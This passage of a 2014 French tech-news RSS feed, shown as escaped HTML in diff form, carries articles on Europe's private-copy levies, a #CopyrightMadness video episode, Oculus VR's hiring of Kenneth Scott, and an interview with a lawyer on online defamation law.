+&lt;p&gt;La France est talonn&amp;eacute;e par la Belgique avec ses 2,14 euros par habitant (11 millions de Belges pour 23,8 millions collect&amp;eacute;s). Loin derri&amp;egrave;re, la Finlande (1,31 euro) ou la Hongrie (1,22 euro) et l&amp;rsquo;Italie (1,18 euro). En volume des sommes collect&amp;eacute;es, les soci&amp;eacute;t&amp;eacute;s de gestion collectives pourront se satisfaire de placer la France en t&amp;ecirc;te&amp;nbsp;: avec ces 173 millions d&amp;rsquo;euros, la France s&amp;rsquo;envole loin devant l&amp;rsquo;Italie (71 millions) ou la Russie (29 millions). La plupart des autres pays sont en dessous de la barre des 10 millions d&amp;rsquo;euros, voire moins comme l&amp;rsquo;Espagne (1,55 million d&amp;rsquo;euros), un cas &amp;agrave; part.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" src="http://static.pcinpact.com/images/bd/news/146739.jpeg" alt="copie priv&amp;eacute;e" width="300" /&gt;&lt;/p&gt;
+&lt;h3&gt;173 millions d'euros collect&amp;eacute;s en 2012 pour 68 millions d'habitants&lt;/h3&gt;
+&lt;p&gt;Dans un tableau relatant les tarifs agr&amp;eacute;g&amp;eacute;s par pays, la France est dans les trois&amp;nbsp;premiers pays les plus g&amp;eacute;n&amp;eacute;reux sur de nombreux appareils&amp;nbsp;: CD-R et DVD, disques durs externes, enregistreurs HDD, Settopbox&amp;hellip;. Elle caracole &amp;eacute;galement pour les &lt;span data-affiliable="true" data-affkey="tablettes"&gt;tablettes&lt;/span&gt; et les &lt;span data-affiliable="true" data-affkey="smartphones"&gt;smartphones&lt;/span&gt;. Il faudra voir cependant le prochain classement, puisque les bar&amp;egrave;mes sont actualis&amp;eacute;s dans ces pays (notamment en France avec un DVD tomb&amp;eacute; depuis &amp;agrave; 0,9 euro) et le fruit total des pr&amp;eacute;l&amp;egrave;vements d&amp;eacute;pend &amp;eacute;videmment des quantit&amp;eacute;s consomm&amp;eacute;es par chaque pays.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146736.jpeg" rel="group_fancy"&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" src="http://static.pcinpact.com/images/bd/news/medium-146736.jpeg" alt="copie priv&amp;eacute;e" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Contact&amp;eacute;, un ayant droit relativise ces chiffres puisque &amp;laquo; &lt;em&gt;la France collecte beaucoup, mais redistribue beaucoup aux soci&amp;eacute;t&amp;eacute;s de gestion collective &amp;eacute;trang&amp;egrave;res&lt;/em&gt;. &lt;em&gt;Nous, on est plut&amp;ocirc;t horrifi&amp;eacute; de l&amp;rsquo;actuelle situation anglaise, avec une exception pour copie priv&amp;eacute;e et une r&amp;eacute;mun&amp;eacute;ration &amp;agrave; z&amp;eacute;ro&amp;nbsp;&lt;/em&gt;&amp;raquo;. Une situation qui devrait &amp;ecirc;tre examin&amp;eacute;e par la CJUE qui impose le couplage entre copie priv&amp;eacute;e et redevance. De plus les modalit&amp;eacute;s de calcul diff&amp;egrave;rent d&amp;rsquo;un pays &amp;agrave; l&amp;rsquo;autre.&lt;/p&gt;
+&lt;h3&gt;Les industriels de l'informatique r&amp;eacute;clament encore et toujours une r&amp;eacute;forme&lt;/h3&gt;
+&lt;p&gt;Surtout, &amp;agrave; ceux qui souhaiteraient une harmonisation des bar&amp;egrave;mes, la Sacem cultive une position bien tranch&amp;eacute;e&amp;nbsp;: &amp;laquo; &lt;em&gt;J'ai simplement envie de conseiller d'harmoniser vers le haut !&lt;/em&gt; &amp;raquo; recommandait par exemple en 2011 &lt;a href="http://www.nextinpact.com/news/67356-taxation-copie-privee-laurent-petitgirard.htm" target="_blank"&gt;Laurent Petitgirard&lt;/a&gt;, alors pr&amp;eacute;sident du conseil d'administration de la SPRD.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;iframe style="display: block; margin-left: auto; margin-right: auto;" src="//www.youtube.com/embed/vNPUl7mAybk?rel=0" width="600" height="338" frameborder="0" allowfullscreen="allowfullscreen"&gt;&lt;/iframe&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;En attendant, les discussions au sein de la Commission copie priv&amp;eacute;e sont au point mort. Avec la &lt;a href="http://www.nextinpact.com/news/75231-les-industriels-claquent-porte-commission-copie-privee-et-fft.htm" target="_blank"&gt;d&amp;eacute;mission du coll&amp;egrave;ge des &amp;laquo; industriels &amp;raquo; fin 2012&lt;/a&gt;, la &amp;laquo;&amp;nbsp;CCP&amp;nbsp;&amp;raquo; ne peut plus se r&amp;eacute;unir pour voter valablement les bar&amp;egrave;mes. Ces industriels ne l&amp;acirc;chent cependant pas le sujet en t&amp;eacute;moigne cette vid&amp;eacute;o mise en ligne aujourd&amp;rsquo;hui par le SFIB (Intel, Dell, Lenovo, etc. bref toute l&amp;rsquo;industrie informatique) o&amp;ugrave; ils r&amp;eacute;clament encore et toujours une r&amp;eacute;forme en profondeur de ce m&amp;eacute;canisme.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 15:15:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87528.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87537-14h42-jusquou-ira-copyrightmadness.htm</guid><link>http://www.nextinpact.com/news/87537-14h42-jusquou-ira-copyrightmadness.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>david@nextinpact.com</author><category>Web</category><title>#14h42 : Jusqu'où ira la #CopyrightMadness ?</title><description>&lt;p class="actu_chapeau"&gt;Depuis maintenant plusieurs ann&amp;eacute;es, la question du droit d'auteur et du fameux copyright est au centre de toutes les attentions, mais aussi de plusieurs lois et de nombreuses pol&amp;eacute;miques. Il &amp;eacute;tait temps que nous fassions le point sur le sujet.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;iframe src="//www.youtube.com/embed/2FwzpF3mQ9s" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"&gt;&lt;/iframe&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Les premi&amp;egrave;res minutes de l'&amp;eacute;mission&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pas une semaine sans qu'une question autour du droit d'auteur et du copyright n'agite le web, parfois avec un certain &amp;eacute;cho chez les parlementaires. C'est de ce constat qu'est partie l'&amp;eacute;quipe derri&amp;egrave;re &lt;a href="https://twitter.com/search?q=%23CopyrightMadness&amp;amp;src=hash" target="_blank"&gt;#CopyrightMadness&lt;/a&gt;, Lionel Maurel (aka &lt;a href="https://twitter.com/Calimaq/" target="_blank"&gt;Calimaq&lt;/a&gt;) et &lt;a href="https://twitter.com/fourmeux/" target="_blank"&gt;Thomas Fourmeux&lt;/a&gt;,&amp;nbsp;qui diffusent chaque samedi &lt;a href="http://copyrightmadness.tumblr.com/" target="_blank"&gt;les cas les plus ubuesques &lt;/a&gt;qui ont pu &amp;ecirc;tre rencontr&amp;eacute;s.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour cette nouvelle &amp;eacute;dition de&amp;nbsp;&lt;a href="http://www.pcinpact.com/recherche?_search=%2314h42" target="_blank" data-affiliable="true"&gt;14h42&lt;/a&gt;, notre&amp;nbsp;&amp;eacute;mission conjointe avec&amp;nbsp;&lt;a href="http://www.arretsurimages.net/" target="_blank"&gt;Arr&amp;ecirc;t sur images&lt;/a&gt;&amp;nbsp; et pr&amp;eacute;sent&amp;eacute;e par&amp;nbsp;&lt;a href="https://twitter.com/manhack" target="_blank"&gt;Jean-Marc Manach&lt;/a&gt;, nous avons donc d&amp;eacute;cid&amp;eacute; d'&amp;eacute;changer avec eux pour faire le tour de la question, et voir quelles pourraient &amp;ecirc;tre les alternatives possibles.&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Comme toujours, vous pouvez librement regarder les premi&amp;egrave;res&amp;nbsp;minutes. L'&amp;eacute;mission int&amp;eacute;grale est r&amp;eacute;serv&amp;eacute;e &amp;agrave; nos abonn&amp;eacute;s pendant une semaine. Elle sera ensuite accessible &amp;agrave; tous via &lt;a href="http://www.youtube.com/user/pcinpact" target="_blank"&gt;notre compte YouTube&lt;/a&gt;&amp;nbsp;sur lequel&amp;nbsp;vous pouvez&amp;nbsp;nous rejoindre.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;div class="g-ytsubscribe" align="center" data-channel="pcinpact" data-layout="full" data-count="hidden"&gt;&amp;nbsp;&lt;/div&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Bonne &amp;eacute;mission !&lt;/p&gt;&lt;p style="text-align: center;"&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;iframe src="//www.youtube-nocookie.com/embed/eEoz_WrEQrY" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"&gt;&lt;/iframe&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;L'&amp;eacute;mission dans son int&amp;eacute;gralit&amp;eacute;&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Vous pourrez aussi retrouver l'&amp;eacute;mission sous forme de vid&amp;eacute;o ou de fichier audio &amp;agrave; t&amp;eacute;l&amp;eacute;charger :&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;a href="http://videos.arretsurimages.net/telecharger/14h42_2014-05-13_copyright.avi.AUDIO.mp3" target="_blank"&gt;T&amp;eacute;l&amp;eacute;charger l'&amp;eacute;mission au format&amp;nbsp;audio&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://videos.arretsurimages.net/telecharger/14h42_2014-05-13_copyright.avi" target="_blank"&gt;T&amp;eacute;l&amp;eacute;charger l'&amp;eacute;mission au format vid&amp;eacute;o&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</description><pubDate>Wed, 14 May 2014 14:42:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87537.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87533-oculus-vr-soffre-services-directeur-artistique-halo-4-et-did-software.htm</guid><link>http://www.nextinpact.com/news/87533-oculus-vr-soffre-services-directeur-artistique-halo-4-et-did-software.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>kevin@nextinpact.com</author><category>Société</category><title>Oculus VR s'offre les services du directeur artistique de Halo 4 et d'id Software</title><description>&lt;p class="actu_chapeau"&gt;Avec &lt;a href="http://www.nextinpact.com/news/86691-facebook-rachete-oculus-vr-pour-2-milliards-dollars.htm" target="_blank"&gt;les millions de Facebook en poche&lt;/a&gt;, Oculus VR peut se permettre de faire grossir&amp;nbsp;ses &amp;eacute;quipes &amp;agrave; grand renfort de recrutements prestigieux. Dernier coup fumant de la start-up l'arriv&amp;eacute;e dans ses rangs de Kenneth Scott, ancien directeur artistique d'id Software et de 343 Industries, o&amp;ugrave; il a notamment offici&amp;eacute; sur Halo 4.&lt;/p&gt;&lt;blockquote class="twitter-tweet tw-align-center" lang="fr"&gt;
+&lt;p&gt;Welcome Kenneth Scott (&lt;a href="https://twitter.com/superactionfunb"&gt;@superactionfunb&lt;/a&gt;), Oculus Art Director, formerly of 343 and id Software. Ken is building our 1st-party content team!&lt;/p&gt;
+&amp;mdash; Oculus (@oculus) &lt;a href="https://twitter.com/oculus/statuses/466309521824948224"&gt;13 Mai 2014&lt;/a&gt;&amp;nbsp;&lt;/blockquote&gt;
+&lt;h3&gt;Oculus VR pioche &amp;agrave; nouveau chez les anciens d'id Software&lt;/h3&gt;
+&lt;p&gt;Oculus VR vient &amp;agrave; nouveau de s'attirer les services d'une recrue de choix en la personne de Kenneth Scott. Si son nom ne vous dit absolument rien, sachez qu'il &amp;eacute;tait&amp;nbsp;directeur artistique de 343 Industries entre 2008 et 2014, o&amp;ugrave; il a planch&amp;eacute; sur Halo 4, mais qu'il a &amp;eacute;galement occup&amp;eacute; ce poste chez id Software entre 1998 et 2008. Il a&amp;nbsp;donc longuement c&amp;ocirc;toy&amp;eacute;&amp;nbsp;un certain John Carmack.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si l'on pourrait s'&amp;eacute;taler longuement sur le fait qu'Oculus VR semble attirer nombre d'anciens employ&amp;eacute;s d'id Software dans ses filets et que cela ne ferait qu'alimenter le moulin de Zenimax, la maison m&amp;egrave;re du studio concernant&lt;a href="http://www.nextinpact.com/news/87342-john-carmack-vs-zenimax-paternite-code-oculus-rift-contestee.htm" target="_blank"&gt; son contentieux&lt;/a&gt; avec John Carmack et Oculus VR, l'information la plus importante est &amp;agrave; chercher ailleurs.&amp;nbsp;&lt;/p&gt;
+&lt;h3&gt;Du contenu maison pour le Rift&lt;/h3&gt;
+&lt;p&gt;L'annonce de l'arriv&amp;eacute;e de Kenneth Scott s'accompagne de celle de la formation d'une &amp;eacute;quipe d&amp;eacute;di&amp;eacute;e &amp;agrave; la cr&amp;eacute;ation de contenus d&amp;eacute;di&amp;eacute;s &amp;agrave; la r&amp;eacute;alit&amp;eacute; virtuelle. En effet, pour que la technologie d&amp;eacute;colle, il faut encore pouvoir proposer des contenus l'exploitant susceptibles&amp;nbsp;d'attirer les consommateurs. Le jeu vid&amp;eacute;o est la solution la plus &amp;eacute;vidente, et d'autres acteurs du march&amp;eacute; comme Sony se sont eux aussi mis en route dans cette direction, mais ce n'est pas la seule option.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;On se souviendra ainsi des d&amp;eacute;clarations faites par&amp;nbsp;Brendan Irbe, l'actuel PDG d'Oculus VR&lt;a href="http://www.nextinpact.com/news/87394-oculus-vr-aimerait-creer-univers-virtuel-avec-1-milliard-dutilisateurs.htm" target="_blank"&gt; la semaine derni&amp;egrave;re &lt;/a&gt;concernant le but ultime poursuivi par son entreprise : la cr&amp;eacute;ation d'un univers virtuel, ou plus d'un milliard d'utilisateurs pourraient communiquer. Un projet que le responsable d&amp;eacute;crit comme&amp;nbsp;&lt;em&gt;&amp;laquo; le Saint Graal que nous essayons d'atteindre &amp;raquo;,&amp;nbsp;&lt;/em&gt;et qui a certainement pes&amp;eacute; tr&amp;egrave;s lourd dans la d&amp;eacute;cision de Facebook d'acqu&amp;eacute;rir son entreprise.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;S'il est encore bien trop t&amp;ocirc;t pour d&amp;eacute;marrer les travaux sur un tel projet qui, rappelons-le,&amp;nbsp;&lt;em&gt;&amp;laquo; r&amp;eacute;clamerait un r&amp;eacute;seau plus grand que celui qui existe dans le monde aujourd'hui &amp;raquo;,&amp;nbsp;&lt;/em&gt;Kenneth Scott et sa future &amp;eacute;quipe auront d&amp;eacute;j&amp;agrave; fort &amp;agrave; faire pour d&amp;eacute;velopper des concepts susceptibles&amp;nbsp;de donner envie au grand public de l&amp;acirc;cher plus de 300 dollars dans un casque de r&amp;eacute;alit&amp;eacute; virtuelle.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 14:20:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87533.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87519-interview-nimporte-quel-internaute-peut-etre-identifie-aujourdhui.htm</guid><link>http://www.nextinpact.com/news/87519-interview-nimporte-quel-internaute-peut-etre-identifie-aujourdhui.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>xavier@nextinpact.com</author><category>Loi</category><title>Injures et diffamation sur Internet : réponse d’un juriste à Jean-Vincent Placé</title><description>&lt;p class="actu_chapeau"&gt;Ce week-end, le s&amp;eacute;nateur &amp;eacute;cologiste Jean-Vincent Plac&amp;eacute; a laiss&amp;eacute; entendre qu&amp;rsquo;il allait bient&amp;ocirc;t &lt;a href="http://www.nextinpact.com/news/87472-contre-injures-sur-twitter-jean-vincent-place-veut-aiguiser-loi.htm" target="_blank"&gt;d&amp;eacute;poser un proposition de loi&lt;/a&gt;&amp;nbsp;afin d&amp;rsquo;aiguiser la l&amp;eacute;gislation applicable aux cas de diffamation, d&amp;rsquo;injures ou d&amp;rsquo;appels &amp;agrave; la haine sur Internet. Nicolas Poirier,&amp;nbsp;directeur juridique d&amp;rsquo;Ebuzzing &amp;amp; Teads (mais aussi d&amp;rsquo;Overblog pendant six ans), a accept&amp;eacute; de r&amp;eacute;pondre &amp;agrave; nos questions.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/131414.png" rel="group_fancy"&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" src="http://static.pcinpact.com/images/bd/news/medium-131414.png" alt="justice palais tgi paris" width="500" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h4 class="title_style_question"&gt;&lt;span lang="FR"&gt;Jean-Vincent Plac&amp;eacute; pourrait bient&amp;ocirc;t d&amp;eacute;poser une proposition de loi afin de mieux lutter contre la diffusion de propos racistes, antis&amp;eacute;mites, homophobes, diffamants,... sur Internet, et plus particuli&amp;egrave;rement sur &lt;span data-affiliable="false" data-affkey="les r&amp;eacute;seaux sociaux"&gt;les r&amp;eacute;seaux sociaux&lt;/span&gt;. Notre droit n&amp;rsquo;est-il pas suffisamment adapt&amp;eacute; face &amp;agrave; ces comportements ?&lt;/span&gt;&lt;/h4&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Non seulement notre droit est totalement adapt&amp;eacute;, mais vouloir contr&amp;ocirc;ler encore plus ce qu'il se dit sur Internet reviendrait &amp;agrave; imposer un &amp;laquo;&amp;nbsp;droit d'entr&amp;eacute;e&amp;nbsp;&amp;raquo; sur Internet, via une sorte de carte d'identit&amp;eacute; qui permettrait d'identifier formellement tous les internautes&amp;nbsp;! Concr&amp;egrave;tement, si on veut aller au-del&amp;agrave; de ce qui existe actuellement, c'est tout ce qu'il faudrait. Parce que n'importe quel internaute peut &amp;ecirc;tre identifi&amp;eacute; aujourd'hui.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Je re&amp;ccedil;ois par exemple en tant que responsable juridique d'Overblog une dizaine de r&amp;eacute;quisitions par mois qui me demandent d'identifier un blogueur suite &amp;agrave; une plainte, comme celles que Monsieur Jean-Vincent Plac&amp;eacute; veut d&amp;eacute;poser. &amp;Eacute;galement, un avocat qui ne veut pas passer par une proc&amp;eacute;dure p&amp;eacute;nale et qui veut identifier quelqu'un au civil peut obtenir une ordonnance sur requ&amp;ecirc;te, &amp;ccedil;a prend 24 heures &amp;agrave; obtenir aupr&amp;egrave;s du juge, et avec &amp;ccedil;a on obtient l'identification du blogueur dans les 48 heures.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Donc concr&amp;egrave;tement, il faut savoir ce que veut Jean-Vincent Plac&amp;eacute; ? Est-ce qu'il trouve qu'on n&amp;rsquo;identifie pas assez les blogueurs, auquel cas il ne conna&amp;icirc;t pas la loi ? Ou trouve-t-il que les blogueurs ne devraient pas parler sans autorisation, et auquel cas je me demande quelle voix il voudrait...&lt;/span&gt;&lt;/p&gt;&lt;h4 class="title_style_question"&gt;Le s&amp;eacute;nateur vise surtout &lt;span data-affiliable="false" data-affkey="les r&amp;eacute;seaux sociaux"&gt;les r&amp;eacute;seaux sociaux&lt;/span&gt;. La proc&amp;eacute;dure d&amp;rsquo;identification n&amp;rsquo;est-elle pas plus complexe pour les utilisateurs de Twitter ou Facebook que pour des blogueurs ?&lt;/h4&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Avec une r&amp;eacute;quisition ou une ordonnance, toute plateforme ou r&amp;eacute;seau social r&amp;eacute;dig&amp;eacute; en fran&amp;ccedil;ais et accessible depuis le territoire de la France doit communiquer &amp;agrave; une autorit&amp;eacute; judiciaire qui lui en fait la demande les donn&amp;eacute;es d'identification.&lt;/span&gt;&lt;/p&gt;
+&lt;h4 class="title_style_question"&gt;&lt;span lang="FR"&gt;Des personnes qui portent plainte contre des utilisateurs de r&amp;eacute;seaux sociaux se plaignent souvent de l&amp;rsquo;absence de poursuites. Certains Parquets finissent m&amp;ecirc;me par baisser les bras face aux g&amp;eacute;ants am&amp;eacute;ricains...&lt;/span&gt;&lt;/h4&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Bien &amp;eacute;videmment ! Il y a deux proc&amp;eacute;dures : le p&amp;eacute;nal et le civil. Le p&amp;eacute;nal consiste &amp;agrave; passer par le Parquet. Sauf que le minist&amp;egrave;re public re&amp;ccedil;oit tous les jours je ne sais combien de milliers de plaintes pour diffamation, injures, etc. Donc le Parquet a un peu autre chose &amp;agrave; faire que de s&amp;rsquo;occuper de ces diff&amp;eacute;rends, aux c&amp;ocirc;t&amp;eacute;s de ceux que la justice a &amp;agrave; traiter en r&amp;egrave;gle g&amp;eacute;n&amp;eacute;rale.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;D'autant plus qu'il existe une proc&amp;eacute;dure civile, ultra rapide, par laquelle la victime mandate un avocat, obtient une identification en 24/48 heures, et 48 heures plus tard, elle peut assigner la personne en r&amp;eacute;f&amp;eacute;r&amp;eacute; devant un tribunal. S&amp;rsquo;en suit encore une fois une proc&amp;eacute;dure rapide d'une semaine, et en gros, en deux semaines on peut obtenir la condamnation d'une personne. &lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Donc si les personnes choisissent d'aller au p&amp;eacute;nal, c'est leur choix mais on ne peut pas dire qu'elles ne sont pas renseign&amp;eacute;es. Tout le monde sait, les avocats en premier, qu&amp;rsquo;aller au p&amp;eacute;nal, &amp;ccedil;a veut dire trois ou quatre ans de proc&amp;eacute;dure pour un r&amp;eacute;sultat peut &amp;ecirc;tre nul... En allant au civil, c'est un r&amp;eacute;sultat au bout d'un mois si la demande est justifi&amp;eacute;e.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Pour un Jean-Vincent Plac&amp;eacute;, c'est extr&amp;ecirc;mement pratique d&amp;rsquo;aller au p&amp;eacute;nal. Il est possible d'attaquer un internaute qui l'accuse de ne pas avoir pay&amp;eacute; la totalit&amp;eacute; de ses PV. Au civil, le mis en cause va pouvoir prouver que ce n'est pas le cas ou que l'exception de bonne foi l'autorise &amp;agrave; sous-entendre que pour l'instant, avec les &amp;eacute;l&amp;eacute;ments qu'on conna&amp;icirc;t, le s&amp;eacute;nateur ne les a probablement pas tous pay&amp;eacute;s. Au p&amp;eacute;nal, l&amp;agrave; o&amp;ugrave; c'est tr&amp;egrave;s fort pour lui, c'est qu'avant m&amp;ecirc;me qu'il y ait un jugement, l&amp;rsquo;accus&amp;eacute; va &amp;ecirc;tre convoqu&amp;eacute; par le Procureur ou le juge d'instruction, qui va le mettre en examen. Ce qui ne veut pas dire qu&amp;rsquo;il est coupable. Et Jean-Vincent Plac&amp;eacute; va pouvoir aller sur les plateaux de t&amp;eacute;l&amp;eacute;vision en disant&amp;nbsp;: &amp;laquo;&amp;nbsp;Vous voyez, il m'a diffam&amp;eacute;, il est mis en examen&amp;nbsp;&amp;raquo;. Et pour les 99 % de la population fran&amp;ccedil;aise qui n'est pas juriste, mis en examen veut dire coupable. Alors qu'en fait l'affaire va arriver au tribunal et il y aura non lieu... &lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Aller au p&amp;eacute;nal, c'est pour moi une fa&amp;ccedil;on d'enterrer une affaire, parce qu&amp;rsquo;il est possible de retirer sa plainte une fois qu&amp;rsquo;il y a eu mise en examen de la personne.&amp;nbsp;&lt;/span&gt;D&amp;rsquo;ailleurs, si Jean-Vincent Plac&amp;eacute; est si press&amp;eacute; de demander un changement de la loi, c&amp;rsquo;est peut-&amp;ecirc;tre parce qu'il ne supporte pas de se voir rappeler par les internautes ces histoires de PV...&lt;/p&gt;
+&lt;h4 class="title_style_question"&gt;&lt;span lang="FR"&gt;Le probl&amp;egrave;me n'est-il pas alors que ce type de proc&amp;eacute;dure est trop peu lisible ou apparaisse comme hors d'atteinte pour le grand public ?&lt;/span&gt;&lt;/h4&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Oui et non... Je vais me faire l'avocat du diable, mais c'est peut-&amp;ecirc;tre pas plus mal comme &amp;ccedil;a. On n'est pas dans une cour d'&amp;eacute;cole dans laquelle on va voir la ma&amp;icirc;tresse en disant &amp;laquo;&amp;nbsp;C'est pas bien, il m'a insult&amp;eacute;&amp;nbsp;&amp;raquo;. C'est peut-&amp;ecirc;tre pas si mal que la proc&amp;eacute;dure soit extr&amp;ecirc;mement longue ou que le procureur ne donne pas toujours suite aux plaintes pour diffamation ou injure sur Internet.&lt;/span&gt;&lt;/p&gt;
+&lt;h4 class="title_style_question"&gt;&lt;span lang="FR"&gt;Le fait que des associations tirent r&amp;eacute;guli&amp;egrave;rement le signal d&amp;rsquo;alarme face &amp;agrave; ce qu&amp;rsquo;ils per&amp;ccedil;oivent&amp;nbsp;comme une d&amp;eacute;ferlante&amp;nbsp;de messages racistes, homophobes ou antis&amp;eacute;mites sur Internet n&amp;rsquo;est-il pourtant pas le signe que la l&amp;eacute;gislation est inefficace ? SOS Homophobie affirmait hier avoir recueilli 162 % de t&amp;eacute;moignages de plus en 2013 qu&amp;rsquo;en 2012.&lt;/span&gt;&lt;/h4&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Peut-&amp;ecirc;tre qu'ils ont tout simplement un outil qui leur permet depuis 2013 de recevoir 162 % de notifications en plus... Je travaille pour Overblog depuis 2008, et je ne vois absolument aucun accroissement des cas de racisme, etc. Au contraire, je dirais que paradoxalement ils ont l'air d'&amp;ecirc;tre beaucoup moins visibles. &amp;Agrave; mon avis, il y en a une grosse partie qui s'est d&amp;eacute;localis&amp;eacute;e sur des messageries priv&amp;eacute;es ou sur des choses comme Tor. Mais sur l'internet &amp;laquo;&amp;nbsp;visible&amp;nbsp;&amp;raquo;, tr&amp;egrave;s concr&amp;egrave;tement, la part du racisme a disparu de mani&amp;egrave;re tr&amp;egrave;s sensible.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
+&lt;h4 class="title_style_question"&gt;&lt;span lang="FR"&gt;Finalement, que faudrait-il changer dans la loi pour assurer &amp;agrave; la fois la protection des personnes et la libert&amp;eacute; d'expression ?&lt;/span&gt;&lt;/h4&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;Il y a plusieurs changements qui me paraissent absolument n&amp;eacute;cessaires. Tout d'abord&amp;nbsp;: changer la dur&amp;eacute;e de prescription, qui est actuellement de trois mois. &amp;Ccedil;a fait paniquer les gens quand ils d&amp;eacute;couvrent &amp;ccedil;a, et r&amp;eacute;sultat, ils partent &amp;agrave; toute vitesse sans r&amp;eacute;fl&amp;eacute;chir sur la premi&amp;egrave;re chose qui leur tombe sous la main (plainte, assignation, etc.). Si elle pouvait &amp;ecirc;tre rallong&amp;eacute;e et atteindre un an, je pense que ce serait une bonne chose pour tout le monde, m&amp;ecirc;me les h&amp;eacute;bergeurs.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;span lang="FR"&gt;L'autre r&amp;eacute;forme qui me semble indispensable, c'est la d&amp;eacute;p&amp;eacute;nalisation de la diffamation et de l'injure, qui devraient &amp;ecirc;tre r&amp;eacute;serv&amp;eacute;es aux juridictions civiles. Ce serait une mani&amp;egrave;re de ne plus permettre &amp;agrave; des avocats ou &amp;agrave; des personnes d'enterrer des affaires, de cr&amp;eacute;er une fausse affaire en disant &amp;laquo;&amp;nbsp;j'ai port&amp;eacute; plainte, la personne va &amp;ecirc;tre mise en examen&amp;nbsp;&amp;raquo;, pour qu'une affaire soit r&amp;eacute;ellement jug&amp;eacute;e, rapidement, et ne puisse pas permettre d'&amp;ecirc;tre uniquement un effet d'annonce.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
